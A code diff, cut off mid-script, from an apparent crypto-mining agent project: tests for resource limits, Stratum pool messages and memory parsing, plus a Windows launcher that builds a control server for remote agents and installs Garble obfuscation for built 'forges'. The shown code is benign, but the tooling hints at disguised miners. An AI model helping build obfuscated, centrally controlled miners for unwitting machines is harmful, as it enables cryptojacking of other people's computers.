golang.org/x/time v0.12.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc=
|
||||
golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=
|
||||
google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
lukechampine.com/blake3 v1.4.1 h1:I3Smz7gso8w4/TunLKec6K2fn+kyKtDxr/xcQEN84Wg=
|
||||
lukechampine.com/blake3 v1.4.1/go.mod h1:QFosUxmjB8mnrWFSNwKmvxHpfY72bmD2tQ0kBMM3kwo=
|
||||
|
||||
74
agent/miner/pool_guard_test.go
Normal file
74
agent/miner/pool_guard_test.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func TestPoolResourcesOKBlocksHighMinFreeRAM(t *testing.T) {
|
||||
r := stats.NewReporter()
|
||||
free := r.FreeMemoryMB()
|
||||
if free == 0 {
|
||||
t.Skip("free memory unavailable on this platform")
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MinFreeRAM: int(free + 1_000_000),
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, r, nil)
|
||||
if p.resourcesOK() {
|
||||
t.Fatal("MinFreeRAM above available free RAM should block mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolResourcesOKBlocksLowMaxMemoryPct(t *testing.T) {
|
||||
r := stats.NewReporter()
|
||||
total := r.TotalMemoryMB()
|
||||
if total == 0 {
|
||||
t.Skip("total memory unavailable on this platform")
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MaxMemoryPct: 1,
|
||||
MaxCPUUsage: 0,
|
||||
MinFreeRAM: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, r, nil)
|
||||
if p.resourcesOK() {
|
||||
t.Fatal("MaxMemoryPct=1 should block when system memory use exceeds 1%")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolResourcesOKAllowsHighMaxCPU(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MaxCPUUsage: 100,
|
||||
MinFreeRAM: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, stats.NewReporter(), nil)
|
||||
if !p.resourcesOK() {
|
||||
t.Fatal("MaxCPUUsage=100 should allow mining when CPU is at most 100%")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolMiningAllowedRequiresResourcesAndSchedule(t *testing.T) {
|
||||
r := stats.NewReporter()
|
||||
free := r.FreeMemoryMB()
|
||||
if free == 0 {
|
||||
t.Skip("free memory unavailable on this platform")
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MinFreeRAM: int(free + 1_000_000),
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, r, nil)
|
||||
if p.miningAllowed() {
|
||||
t.Fatal("miningAllowed should deny when resource guard fails even in always mode")
|
||||
}
|
||||
}
|
||||
@@ -147,3 +147,102 @@ func TestStratumMsgJobNotification(t *testing.T) {
|
||||
t.Fatalf("job notification: %+v", sj)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildStratumEndpointsMultipleBackups(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
PoolHost: "primary.pool",
|
||||
PoolPort: 3333,
|
||||
BackupPools: []config.BackupPool{
|
||||
{Host: "backup1.pool", Port: 4444, Pass: "a"},
|
||||
{Host: "backup2.pool", Port: 5555, TLS: true},
|
||||
},
|
||||
}}
|
||||
eps := buildStratumEndpoints(cfg)
|
||||
if len(eps) != 3 {
|
||||
t.Fatalf("expected primary + 2 backups, got %d", len(eps))
|
||||
}
|
||||
if eps[2].Host != "backup2.pool" || eps[2].Port != 5555 || !eps[2].TLS {
|
||||
t.Fatalf("third endpoint mismatch: %+v", eps[2])
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumLoginErrorResponse(t *testing.T) {
|
||||
line := `{"id":1,"jsonrpc":"2.0","error":{"code":-1,"message":"invalid wallet"}}`
|
||||
var loginResp stratumMsg
|
||||
if err := json.Unmarshal([]byte(line), &loginResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loginResp.Error == nil {
|
||||
t.Fatal("expected login error field")
|
||||
}
|
||||
if loginResp.Result != nil {
|
||||
t.Fatal("error response should not carry a result")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumKeepaliveMsgRoundTrip(t *testing.T) {
|
||||
params := mustMarshal(map[string]string{"id": "sess-abc"})
|
||||
msg := stratumMsg{ID: 3, JSONRPC: "2.0", Method: "keepalived", Params: params}
|
||||
b, err := json.Marshal(msg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded stratumMsg
|
||||
if err := json.Unmarshal(b, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Method != "keepalived" || decoded.JSONRPC != "2.0" {
|
||||
t.Fatalf("keepalive msg: %+v", decoded)
|
||||
}
|
||||
var p map[string]string
|
||||
if err := json.Unmarshal(decoded.Params, &p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if p["id"] != "sess-abc" {
|
||||
t.Fatalf("keepalive params: %v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumSubmitRequestRoundTrip(t *testing.T) {
|
||||
params, err := json.Marshal(submitParams{
|
||||
ID: "sess-1", JobID: "42", Nonce: "04030201", Hash: "deadbeef",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
msg := stratumMsg{ID: 4, JSONRPC: "2.0", Method: "submit", Params: params}
|
||||
b, err := json.Marshal(msg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded stratumMsg
|
||||
if err := json.Unmarshal(b, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Method != "submit" {
|
||||
t.Fatalf("method=%q", decoded.Method)
|
||||
}
|
||||
var sp submitParams
|
||||
if err := json.Unmarshal(decoded.Params, &sp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if sp.ID != "sess-1" || sp.JobID != "42" || sp.Nonce != "04030201" || sp.Hash != "deadbeef" {
|
||||
t.Fatalf("submit params: %+v", sp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumJobParamsInvalidJSON(t *testing.T) {
|
||||
msg := stratumMsg{Method: "job", Params: json.RawMessage(`{"blob":`)}
|
||||
var sj stratumJob
|
||||
if err := json.Unmarshal(msg.Params, &sj); err == nil {
|
||||
t.Fatal("malformed job params should fail unmarshal")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumLineInvalidJSONIgnored(t *testing.T) {
|
||||
line := "not-json\n"
|
||||
var msg stratumMsg
|
||||
if err := json.Unmarshal([]byte(line), &msg); err == nil {
|
||||
t.Fatal("invalid stratum line should not parse as msg")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,6 +17,20 @@ func filetimeToUint64(ft filetime) uint64 {
|
||||
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
|
||||
}
|
||||
|
||||
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
@@ -49,15 +63,5 @@ func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
|
||||
}
|
||||
|
||||
35
agent/stats/cpu_windows_test.go
Normal file
35
agent/stats/cpu_windows_test.go
Normal file
@@ -0,0 +1,35 @@
|
||||
//go:build windows
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestFiletimeToUint64(t *testing.T) {
|
||||
ft := filetime{LowDateTime: 0xDEADBEEF, HighDateTime: 0x00001234}
|
||||
want := (uint64(0x1234) << 32) | 0xDEADBEEF
|
||||
if got := filetimeToUint64(ft); got != want {
|
||||
t.Fatalf("got %x want %x", got, want)
|
||||
}
|
||||
if filetimeToUint64(filetime{}) != 0 {
|
||||
t.Fatal("zero filetime should be 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCPUBusyPercentFromDeltas(t *testing.T) {
|
||||
tests := []struct {
|
||||
idle, total float64
|
||||
want float64
|
||||
}{
|
||||
{idle: 25, total: 100, want: 75},
|
||||
{idle: 0, total: 100, want: 100},
|
||||
{idle: 100, total: 100, want: 0},
|
||||
{idle: 0, total: 0, want: 0},
|
||||
{idle: -10, total: 50, want: 100}, // over 100% busy clamped
|
||||
{idle: 200, total: 100, want: 0}, // negative busy clamped to 0
|
||||
}
|
||||
for _, tc := range tests {
|
||||
if got := cpuBusyPercentFromDeltas(tc.idle, tc.total); got != tc.want {
|
||||
t.Fatalf("idle=%v total=%v: got %v want %v", tc.idle, tc.total, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,17 +18,24 @@ func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
if err != nil {
|
||||
return total, total / 2
|
||||
}
|
||||
// Rough available estimate from vm_stat free pages
|
||||
var pageSize uint64 = 4096
|
||||
var freePages uint64
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
avail = parseVmStatFreeBytes(string(out))
|
||||
return total, avail
|
||||
}
|
||||
|
||||
func parseVmStatFreeBytes(out string) uint64 {
|
||||
const pageSize uint64 = 4096
|
||||
return parseVmStatFreePages(out) * pageSize
|
||||
}
|
||||
|
||||
func parseVmStatFreePages(out string) uint64 {
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
if strings.Contains(line, "Pages free") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 3 {
|
||||
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||
v, _ := strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
avail = freePages * pageSize
|
||||
return total, avail
|
||||
return 0
|
||||
}
|
||||
|
||||
25
agent/stats/reporter_darwin_test.go
Normal file
25
agent/stats/reporter_darwin_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
//go:build darwin
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseVmStatFreePages(t *testing.T) {
|
||||
out := `Mach Virtual Memory Statistics: (page size of 4096 bytes)
|
||||
Pages free: 12345.
|
||||
Pages active: 67890.
|
||||
`
|
||||
if got := parseVmStatFreePages(out); got != 12345 {
|
||||
t.Fatalf("got %d", got)
|
||||
}
|
||||
if parseVmStatFreePages("no free pages here") != 0 {
|
||||
t.Fatal("missing line should return 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseVmStatFreeBytes(t *testing.T) {
|
||||
out := "Pages free: 1000.\n"
|
||||
if got := parseVmStatFreeBytes(out); got != 1000*4096 {
|
||||
t.Fatalf("got %d", got)
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,7 @@ package stats
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -15,8 +16,12 @@ func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
return 0, 0
|
||||
}
|
||||
defer f.Close()
|
||||
return parseMeminfo(f)
|
||||
}
|
||||
|
||||
func parseMeminfo(r io.Reader) (total, avail uint64) {
|
||||
var memTotal, memAvail uint64
|
||||
sc := bufio.NewScanner(f)
|
||||
sc := bufio.NewScanner(r)
|
||||
for sc.Scan() {
|
||||
line := sc.Text()
|
||||
if strings.HasPrefix(line, "MemTotal:") {
|
||||
|
||||
@@ -2,7 +2,10 @@
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseKB(t *testing.T) {
|
||||
if got := parseKB("MemTotal: 16384000 kB"); got != 16384000 {
|
||||
@@ -11,4 +14,30 @@ func TestParseKB(t *testing.T) {
|
||||
if parseKB("short") != 0 {
|
||||
t.Fatal("invalid line should return 0")
|
||||
}
|
||||
if parseKB("MemAvailable: 0 kB") != 0 {
|
||||
t.Fatal("zero kB should parse as 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMeminfo(t *testing.T) {
|
||||
content := strings.Join([]string{
|
||||
"MemTotal: 16384000 kB",
|
||||
"MemFree: 8192000 kB",
|
||||
"MemAvailable: 4096000 kB",
|
||||
}, "\n")
|
||||
total, avail := parseMeminfo(strings.NewReader(content))
|
||||
if total != 16384000*1024 {
|
||||
t.Fatalf("total %d", total)
|
||||
}
|
||||
if avail != 4096000*1024 {
|
||||
t.Fatalf("avail %d", avail)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMeminfoMissingTotal(t *testing.T) {
|
||||
content := "MemAvailable: 4096000 kB\n"
|
||||
total, avail := parseMeminfo(strings.NewReader(content))
|
||||
if total != 0 || avail != 0 {
|
||||
t.Fatalf("missing MemTotal: total=%d avail=%d", total, avail)
|
||||
}
|
||||
}
|
||||
|
||||
263
devrun.bat
Normal file
263
devrun.bat
Normal file
@@ -0,0 +1,263 @@
|
||||
@echo off
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
title AetherForge Control Server (dev)
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
|
||||
if /i "%~1"=="release" (
|
||||
set "AETHERFORGE_RELEASE=1"
|
||||
echo Release mode: Garble obfuscation default ON for new forges.
|
||||
)
|
||||
|
||||
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
|
||||
if exist "server\internal\ollama\main.go" (
|
||||
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ==============================================================
|
||||
echo AetherForge - Dev Build + Control Server
|
||||
echo ==============================================================
|
||||
echo This window stays open and shows live server logs.
|
||||
echo Press Ctrl+C to stop the server.
|
||||
echo Portable/USB: use LAUNCH.bat instead of devrun.bat.
|
||||
echo ==============================================================
|
||||
echo.
|
||||
|
||||
:: Common tool paths (Go/Node installs + user Go bin for garble)
|
||||
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 1: Go
|
||||
:: ============================================================
|
||||
echo [1/5] Checking Go...
|
||||
|
||||
where go >nul 2>nul
|
||||
if errorlevel 1 goto install_go
|
||||
echo Go found:
|
||||
call go version
|
||||
goto go_ready
|
||||
|
||||
:install_go
|
||||
echo Go not found. Checking for existing installation...
|
||||
if exist "C:\Program Files\Go\bin\go.exe" (
|
||||
echo Found Go at C:\Program Files\Go\bin
|
||||
set "PATH=C:\Program Files\Go\bin;%PATH%"
|
||||
goto go_ready
|
||||
)
|
||||
|
||||
echo Downloading and installing Go...
|
||||
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
|
||||
set "GO_ARCH=amd64"
|
||||
) else (
|
||||
set "GO_ARCH=386"
|
||||
)
|
||||
set "GO_VERSION=1.22.2"
|
||||
set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi"
|
||||
set "GO_MSI=%TEMP%\go-installer.msi"
|
||||
|
||||
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
|
||||
if errorlevel 1 (
|
||||
echo ERROR: Failed to download Go. Get it from https://go.dev/dl/
|
||||
goto fatal_exit
|
||||
)
|
||||
|
||||
msiexec /i "%GO_MSI%" /quiet /norestart
|
||||
if errorlevel 1 (
|
||||
echo ERROR: Go install failed. Run this script as Administrator.
|
||||
goto fatal_exit
|
||||
)
|
||||
del "%GO_MSI%" 2>nul
|
||||
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;%PATH%"
|
||||
echo Go installed.
|
||||
|
||||
:go_ready
|
||||
|
||||
:: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
|
||||
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
|
||||
where garble >nul 2>nul
|
||||
if errorlevel 1 (
|
||||
echo Installing garble via go install...
|
||||
go install mvdan.cc/garble@latest
|
||||
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
|
||||
)
|
||||
where go-winres >nul 2>nul
|
||||
if errorlevel 1 (
|
||||
echo Installing go-winres via go install...
|
||||
go install github.com/tc-hib/go-winres@v0.3.1
|
||||
if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge.
|
||||
)
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 2: Node.js
|
||||
:: ============================================================
|
||||
echo [2/5] Checking Node.js...
|
||||
|
||||
where node >nul 2>nul
|
||||
if errorlevel 1 goto install_node
|
||||
echo Node.js found:
|
||||
call node --version
|
||||
goto node_ready
|
||||
|
||||
:install_node
|
||||
echo Node.js not found. Checking for existing installation...
|
||||
if exist "C:\Program Files\nodejs\node.exe" (
|
||||
echo Found Node.js at C:\Program Files\nodejs
|
||||
set "PATH=C:\Program Files\nodejs;%PATH%"
|
||||
goto node_ready
|
||||
)
|
||||
|
||||
echo Downloading and installing Node.js...
|
||||
set "NODE_VERSION=20.12.2"
|
||||
set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi"
|
||||
set "NODE_MSI=%TEMP%\node-installer.msi"
|
||||
|
||||
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
|
||||
if errorlevel 1 (
|
||||
echo WARNING: Node.js download failed. Frontend build will be skipped.
|
||||
set "SKIP_FRONTEND=1"
|
||||
goto node_ready
|
||||
)
|
||||
|
||||
msiexec /i "%NODE_MSI%" /quiet /norestart
|
||||
if errorlevel 1 (
|
||||
echo WARNING: Node.js install failed. Frontend build will be skipped.
|
||||
set "SKIP_FRONTEND=1"
|
||||
goto node_ready
|
||||
)
|
||||
set "PATH=C:\Program Files\nodejs;%PATH%"
|
||||
del "%NODE_MSI%" 2>nul
|
||||
echo Node.js installed.
|
||||
|
||||
:node_ready
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 3: Data directories
|
||||
:: ============================================================
|
||||
echo [3/5] Preparing data directories...
|
||||
if not exist "data\builds" mkdir "data\builds"
|
||||
if not exist "data\logs" mkdir "data\logs"
|
||||
if not exist "data\blueprints" mkdir "data\blueprints"
|
||||
if not exist "data\preps" mkdir "data\preps"
|
||||
if not exist "bin" mkdir "bin"
|
||||
echo OK: data\ and bin\
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 4: Frontend
|
||||
:: ============================================================
|
||||
if defined SKIP_FRONTEND goto skip_frontend
|
||||
echo [4/5] Building dashboard (server\web)...
|
||||
cd /d "%ROOT%\server\web"
|
||||
if not exist "node_modules" (
|
||||
echo npm install...
|
||||
call npm install
|
||||
if errorlevel 1 (
|
||||
cd /d "%ROOT%"
|
||||
echo ERROR: npm install failed.
|
||||
goto fatal_exit
|
||||
)
|
||||
)
|
||||
echo npm run build...
|
||||
call npm run build
|
||||
if errorlevel 1 (
|
||||
cd /d "%ROOT%"
|
||||
echo ERROR: Frontend build failed.
|
||||
goto fatal_exit
|
||||
)
|
||||
cd /d "%ROOT%"
|
||||
echo Frontend built: server\web\dist
|
||||
goto frontend_done
|
||||
|
||||
:skip_frontend
|
||||
echo [4/5] Skipping frontend build (Node.js unavailable)
|
||||
if not exist "server\web\dist\index.html" (
|
||||
echo WARNING: No server\web\dist\index.html — dashboard may not load.
|
||||
)
|
||||
|
||||
:frontend_done
|
||||
if exist "server\web\dist\index.html" (
|
||||
if not exist "server\webroot" mkdir "server\webroot"
|
||||
xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul
|
||||
echo Copied dashboard to server\webroot
|
||||
)
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 5: Server binary
|
||||
:: ============================================================
|
||||
echo [5/5] Building control server...
|
||||
cd /d "%ROOT%\server"
|
||||
go mod download
|
||||
if errorlevel 1 echo WARNING: go mod download had issues; continuing...
|
||||
echo go build...
|
||||
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
|
||||
if errorlevel 1 (
|
||||
cd /d "%ROOT%"
|
||||
echo ERROR: Server build failed.
|
||||
goto fatal_exit
|
||||
)
|
||||
cd /d "%ROOT%"
|
||||
|
||||
if defined AETHERFORGE_RELEASE (
|
||||
echo Release mode active — set AETHERFORGE_RELEASE=1 for server process.
|
||||
)
|
||||
|
||||
if not exist "bin\miner-server.exe" (
|
||||
echo ERROR: bin\miner-server.exe was not created.
|
||||
goto fatal_exit
|
||||
)
|
||||
echo Server binary: bin\miner-server.exe
|
||||
|
||||
:: ============================================================
|
||||
:: LAUNCH (foreground — logs stay in this window)
|
||||
:: ============================================================
|
||||
echo.
|
||||
echo Stopping any previous miner-server.exe...
|
||||
taskkill /F /IM miner-server.exe >nul 2>nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
set "LAN_IP=localhost"
|
||||
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
|
||||
|
||||
echo.
|
||||
echo ==============================================================
|
||||
echo STARTING CONTROL SERVER
|
||||
echo ==============================================================
|
||||
echo Dashboard: http://localhost:8989
|
||||
echo LAN: http://%LAN_IP%:8989
|
||||
echo Agents WS: ws://%LAN_IP%:8989/ws/agent
|
||||
echo Data: %ROOT%\data\
|
||||
echo.
|
||||
echo Live logs appear below. Ctrl+C stops the server.
|
||||
echo ==============================================================
|
||||
echo.
|
||||
|
||||
:: Open browser after a short delay (server starts in this window)
|
||||
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
|
||||
|
||||
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
|
||||
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
|
||||
echo.
|
||||
|
||||
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
|
||||
set "EXITCODE=!ERRORLEVEL!"
|
||||
|
||||
echo.
|
||||
if "!EXITCODE!"=="0" (
|
||||
echo [Server] Stopped normally.
|
||||
) else (
|
||||
echo [Server] Exited with code !EXITCODE!.
|
||||
echo If port 8989 was in use, close other miner-server windows and run again.
|
||||
)
|
||||
echo.
|
||||
goto end_pause
|
||||
|
||||
:fatal_exit
|
||||
echo.
|
||||
echo ==============================================================
|
||||
echo LAUNCH FAILED — fix the errors above and run devrun.bat again.
|
||||
echo ==============================================================
|
||||
echo.
|
||||
|
||||
:end_pause
|
||||
pause
|
||||
endlocal
|
||||
262
run.bat
262
run.bat
@@ -1,262 +1,4 @@
|
||||
@echo off
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
title AetherForge Control Server
|
||||
:: Project-root marker + launcher (delegates to devrun.bat).
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
|
||||
if /i "%~1"=="release" (
|
||||
set "AETHERFORGE_RELEASE=1"
|
||||
echo Release mode: Garble obfuscation default ON for new forges.
|
||||
)
|
||||
|
||||
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
|
||||
if exist "server\internal\ollama\main.go" (
|
||||
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ==============================================================
|
||||
echo AetherForge - Control Server Launcher
|
||||
echo ==============================================================
|
||||
echo This window stays open and shows live server logs.
|
||||
echo Press Ctrl+C to stop the server.
|
||||
echo ==============================================================
|
||||
echo.
|
||||
|
||||
:: Common tool paths (Go/Node installs + user Go bin for garble)
|
||||
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 1: Go
|
||||
:: ============================================================
|
||||
echo [1/5] Checking Go...
|
||||
|
||||
where go >nul 2>nul
|
||||
if errorlevel 1 goto install_go
|
||||
echo Go found:
|
||||
call go version
|
||||
goto go_ready
|
||||
|
||||
:install_go
|
||||
echo Go not found. Checking for existing installation...
|
||||
if exist "C:\Program Files\Go\bin\go.exe" (
|
||||
echo Found Go at C:\Program Files\Go\bin
|
||||
set "PATH=C:\Program Files\Go\bin;%PATH%"
|
||||
goto go_ready
|
||||
)
|
||||
|
||||
echo Downloading and installing Go...
|
||||
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
|
||||
set "GO_ARCH=amd64"
|
||||
) else (
|
||||
set "GO_ARCH=386"
|
||||
)
|
||||
set "GO_VERSION=1.22.2"
|
||||
set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi"
|
||||
set "GO_MSI=%TEMP%\go-installer.msi"
|
||||
|
||||
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
|
||||
if errorlevel 1 (
|
||||
echo ERROR: Failed to download Go. Get it from https://go.dev/dl/
|
||||
goto fatal_exit
|
||||
)
|
||||
|
||||
msiexec /i "%GO_MSI%" /quiet /norestart
|
||||
if errorlevel 1 (
|
||||
echo ERROR: Go install failed. Run this script as Administrator.
|
||||
goto fatal_exit
|
||||
)
|
||||
del "%GO_MSI%" 2>nul
|
||||
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;%PATH%"
|
||||
echo Go installed.
|
||||
|
||||
:go_ready
|
||||
|
||||
:: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
|
||||
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
|
||||
where garble >nul 2>nul
|
||||
if errorlevel 1 (
|
||||
echo Installing garble via go install...
|
||||
go install mvdan.cc/garble@latest
|
||||
if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable.
|
||||
)
|
||||
where go-winres >nul 2>nul
|
||||
if errorlevel 1 (
|
||||
echo Installing go-winres via go install...
|
||||
go install github.com/tc-hib/go-winres@v0.3.1
|
||||
if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge.
|
||||
)
|
||||
|
||||
:: ============================================================
|
||||
:: STEP 2: Node.js
|
||||
:: ============================================================
|
||||
echo [2/5] Checking Node.js...
|
||||
|
||||
where node >nul 2>nul
|
||||
if errorlevel 1 goto install_node
|
||||
echo Node.js found:
|
||||
call node --version
|
||||
goto node_ready
|
||||
|
||||
:install_node
|
||||
